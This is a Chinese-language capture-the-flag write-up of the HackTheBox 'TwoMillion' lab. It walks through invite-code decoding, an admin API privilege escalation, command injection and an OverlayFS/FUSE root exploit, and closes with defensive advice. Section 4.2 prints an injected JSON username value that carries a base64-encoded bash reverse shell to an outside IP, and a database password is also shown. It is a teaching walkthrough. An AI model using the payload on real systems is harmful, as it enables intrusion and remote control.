HTB-TwoMillion-WriteUp
字数 1264 2025-08-29 22:41:44
HTB-TwoMillion 渗透测试教学文档
1. 信息收集阶段
1.1 初始扫描
- 使用
nmap进行常规扫描,识别开放端口和服务 - 将目标域名添加到
/etc/hosts文件中进行解析
1.2 Web应用分析
- 访问
/invite页面 - 查看
/register页面 - 检查
invite.min.js文件,发现混淆的JavaScript代码
2. 邀请码获取
2.1 代码分析
通过分析 invite.min.js 发现两个关键函数:
function i(code) {
var formData = {"code": code};
$.ajax({
type: "POST",
dataType: "json",
data: formData,
url: '/api/v1/invite/verify',
success: function(response) { console.log(response); },
error: function(response) { console.log(response); }
});
}
function j() {
$.ajax({
type: "POST",
dataType: "json",
url: '/api/v1/invite/how/to/generate',
success: function(response) { console.log(response); },
error: function(response) { console.log(response); }
});
}
2.2 获取邀请码生成方法
- 访问
/api/v1/invite/how/to/generateAPI端点 - 对返回的URL进行ROT13解密
- 访问解密后的URL获取验证码
- 对验证码进行Base64解密,得到邀请码:
2ZCUD-A5QRI-DQYWM-0VXDF
2.3 注册账户
使用获取的邀请码完成注册并登录
3. 权限提升至管理员
3.1 API接口枚举
- 搜集并分析所有可访问的API接口
- 重点关注
/api/v1/admin/路径下的接口
3.2 管理员权限获取
- 不断尝试访问
/api/v1/admin/settings/update接口 - 根据返回信息调整请求数据
- 最终将普通账户成功升级为管理员账户
4. 命令注入攻击
4.1 发现注入点
- 使用
/api/v1/admin/vpn/generate接口 - 注入点在
username参数 - 推测后台使用PHP语言,可能使用
exec()或system()函数执行命令
4.2 构造Payload
{
"username": "test;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4yOS8xMjM0IDA+JjE= | base64 -d | bash;"
}
其中Base64解码后为:bash -i >& /dev/tcp/10.10.16.29/1234 0>&1
4.3 获取数据库凭据
通过命令注入成功获取数据库密码:78c9bd6f9e0c4b9defdbae37d7e91828
5. 系统访问与横向移动
5.1 SSH登录
使用获取的数据库密码通过SSH登录系统
5.2 初步枚举
- 上传
linpeas.sh进行系统枚举 - 发现
pkexec没有SUID权限,无法直接用于提权
6. 权限提升至root
6.1 线索发现
- 检查
/var/mail发现提示:"That one in OverlayFS / FUSE looks nasty. We can't get popped by that."
6.2 漏洞利用
- 搜索
OverlayFS / FUSE相关漏洞 - 找到并复现对应的exploit
- 成功获取root权限
7. 关键知识点总结
- API枚举与分析:通过分析JavaScript文件发现隐藏API端点
- 编码技术:ROT13和Base64编码的识别与解码
- 权限提升技巧:通过API接口滥用提升账户权限
- 命令注入:识别注入点并构造有效Payload
- 系统提权:利用文件系统漏洞(OverlayFS/FUSE)进行提权
8. 防御建议
- 对API接口实施严格的权限控制
- 避免在前端暴露敏感API端点信息
- 对用户输入进行严格过滤,防止命令注入
- 及时更新系统组件,修补已知漏洞
- 避免在系统提示中泄露可能被利用的信息